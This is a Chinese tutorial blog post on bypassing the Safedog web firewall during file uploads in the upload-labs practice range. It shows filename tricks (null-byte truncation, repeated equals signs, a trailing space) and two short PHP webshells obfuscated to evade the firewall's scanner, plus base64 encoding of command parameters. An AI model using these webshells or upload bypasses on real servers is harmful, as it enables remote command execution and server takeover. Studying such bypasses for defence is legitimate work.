网络安全——文件上传之安全狗bypass

Posted Demo不是emo

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了网络安全——文件上传之安全狗bypass相关的知识,希望对你有一定的参考价值。

作者名:Demo不是emo 

主页面链接:主页传送门
创作初心:舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷
座右铭:不要让时代的悲哀成为你的悲哀
专研方向:网络安全,数据结构

每日emo:保持心脏震荡,等有人与我共鸣

  sql注入的WAF你会了,文件上传的WAF你见过吗,关注我,让我带你由简入难实战各个WAF,今天先来看看web安全渗透必会的安全狗WAF,你会绕吗?看我带你将它拿下

目录

 一:环境配置

1.upload-labs的文件上传靶场

2.安全狗WAF软件 

3.检测WAF是否生效

 [1].创建一句话木马

 [2].开启靶场环境

 [3].尝试上传php文件

二:实际操作

1.基于文件名的绕过

[1].00截断

[2].多个等号

2.基于木马内容的绕过

 [1].畸形传参木马

 [2].经典编码木马

 三:拓展内容


 一:环境配置

1.upload-labs的文件上传靶场

这里也是直接给大家准备好了,链接如下,放在根目录下,到浏览器打开就能用了

upload-labs文件上传靶场-网络安全文档类资源-CSDN文库

2.安全狗WAF软件 

  这个应该很多人都没有,但是我肯定为大家准备好了啊,链接如下(就问服务到不到位)

链接:https://pan.baidu.com/s/1i7R28EWV7Bn6Errrxi9UAA?pwd=emlg 
提取码:emlg
 

下载之后跟着提示安全即可

注意:1.安装成功之后记得开启安全狗的网站保护和文件上传防护

           2.记得关闭安全狗的cc攻击防护,因为待会实战过程中尝试多次,可能被封ip 

           3.将文件上传的php后缀设置到黑名单,即防护上传的php文件

3.检测WAF是否生效

 [1].创建一句话木马

 [2].开启靶场环境

这里演示的环境是upload-labs靶场的第六关,这关没有WAF时的上传方法是抓包在文件名后面添加一个空格即可绕过。如下

 没有配置WAF时将这里的“text.php”改为“text.php ”即可绕过限制

此时打开并选中刚才的php一句话木马

 [3].尝试上传php文件

 显示拦截页面,说明本次实验需要的环境已经搭好了

二:实际操作

这里就不做这么多原理的讲解了,因为讲起来太多了,所以这里就直接给大家介绍绕过姿势

1.基于文件名的绕过

[1].00截断

先将"text.php"换成"text.php;.jpg", 这里的.jpg是为了混淆WAF和后端的后缀识别

 再将;hex编码替换为00,造成00截断,如下

 此时放行试试数据包,效果如下:可以看到,已经绕过了WAF的检测,因为并没有弹出安全狗的拦截页面,但是后端的过滤还没有绕过,所以显示不允许该文件上传

 刚才我们说了这关靶场后端的绕过方式是加一个空格,所以我们在刚才的基础上再加一个空格,就是把"text.php.jpg"变成”text.php .jpg

此时再放行数据包,效果如下,成功上传

 这里我们来尝试访问一下上传之后的php文件,又被拦截了

这又是为什么呢?这就是待会我要给大家讲的基于内容的拦截,不急,先给大家把绕过WAF上传限制的姿势讲了来

[2].多个等号

这个操作就更简单了,直接在文件名的位置把一个等于换成多个等于,也能绕过WAF,此时再在末尾加空格,直接成功上传,如下

2.基于木马内容的绕过

 因为上面我们用的一句话木马是市面上最常见的一句话木马,基本上所有的WAF识别到这段内容都会将其拦截,这也是我们为什么上传了但是访问不了的原因,可以开启安全狗的木马扫描试试,如下

  可以看到木马很快就被扫描出来了,还标记了一个常见木马,这可不行啊,得想办法啊,所以我们要做免杀一句话木马,让他扫描不出来,这里给大家准备了两个能够过安全狗的木马

 [1].畸形传参木马

<?php
    $a = $_GET['x'];
    $$a = $_GET['y'];
    $b($_POST['z']);

?>

 使用方式如下

get方式传如参数xy,值分别为bassert ,再用POST方式传如参数z,值为自己想执行的命令

 可以看到能成功执行,达到木马的效果

 [2].经典编码木马

通过assert函数的base64编码后的拼接即可绕过,如下: 

代码如下

<?php

$e=base64_decode("YXNz马赛克ZXJ0安全狗");

$e($_POST['aa']);

?>

 此时浏览器访问该文件,POST方式传入参数aa,值为想要执行的命令即可,如下

 成功执行,直接拿下

 三:拓展内容

上面的绕过方式不可避免都有一些问题,那就是传参时使用了敏感关键字,比如phpinfo()之类的,有一些防火墙就会检测传入的参数是否含有敏感内容(例如宝塔),那这时候我们怎么办呢?

我们可以把传参使用的敏感关键字变成其他编码格式,比如base64,再在一句话木马中对传入的参数先做一个解码操作,如下

在木马中添加解码操作 

就是把关键字拿去加密

 传入加密过后的关键字

 同样可以生效,成功绕过了关键字检测

希望大家看完后能有收获,感谢大家的阅读。

以上是关于网络安全——文件上传之安全狗bypass的主要内容,如果未能解决你的问题,请参考以下文章

绕过网站安全狗拦截,上传Webshell技巧总结(附免杀PHP一句话)

sql注入bypass安全狗4.0

ByPass安全狗XSS的Fuzz思路及实现

HTTP协议bypass WAF(狗/盾)

关于安全狗文件上传

如何绕过安全狗?